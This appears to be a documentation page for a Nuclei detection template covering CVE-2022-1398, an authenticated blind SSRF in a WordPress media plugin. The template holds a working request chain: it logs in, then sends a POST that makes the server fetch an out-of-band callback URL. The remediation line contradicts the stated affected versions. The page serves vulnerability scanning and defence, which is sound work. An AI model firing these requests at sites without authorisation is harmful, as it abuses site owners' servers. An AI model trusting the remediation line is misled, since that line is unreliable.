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External Media without Import <=1.1.2 - Authenticated Blind Server-Side Request Forgery

ID: CVE-2022-1398

Severity: medium

Author: theamanrawat

Tags: cve2022,cve,ssrf,wordpress,wp-plugin,wp,wpscan,external-media-without-import,authenticated,intrusive,external_media_without_import_project

Description

Section titled “Description”

WordPress External Media without Import plugin through 1.1.2 is susceptible to authenticated blind server-side request forgery. The plugin has no authorization and does not ensure that media added via URLs are external media, which can allow any authenticated users, including subscribers, to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

YAML Source

Section titled “YAML Source”
id: CVE-2022-1398


info:
  name: External Media without Import <=1.1.2 - Authenticated Blind Server-Side Request Forgery
  author: theamanrawat
  severity: medium
  description: |
    WordPress External Media without Import plugin through 1.1.2 is susceptible to authenticated blind server-side request forgery. The plugin has no authorization and does not ensure that media added via URLs are external media, which can allow any authenticated users, including subscribers, to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass network restrictions, access internal resources, and potentially perform further attacks.
  remediation: |
    Upgrade to External Media without Import plugin version 1.1.2 or later.
  reference:
    - https://wpscan.com/vulnerability/5440d177-e995-403e-b2c9-42ceda14579e
    - https://wordpress.org/plugins/external-media-without-import/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1398
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2022-1398
    cwe-id: CWE-918
    epss-score: 0.00516
    epss-percentile: 0.76247
    cpe: cpe:2.3:a:external_media_without_import_project:external_media_without_import:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: external_media_without_import_project
    product: external_media_without_import
    framework: wordpress
  tags: cve2022,cve,ssrf,wordpress,wp-plugin,wp,wpscan,external-media-without-import,authenticated,intrusive,external_media_without_import_project


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/upload.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        urls=http%3A%2F%2F{{interactsh-url}}&width=&height=&mime-type=&action=add_external_media_without_import


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - http


      - type: word
        part: body_2
        words:
          - external-media-without-import
# digest: 4b0a0048304602210081028bfa2e44dd111f7d047fca6fd9ff6a2d330ac2b22d0f6cfd605b3746150f022100e6917e13619b0ceeaece47c7b04a4561dd6719ff4b8a0001c6743d1217dc0c8d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-1398.yaml"

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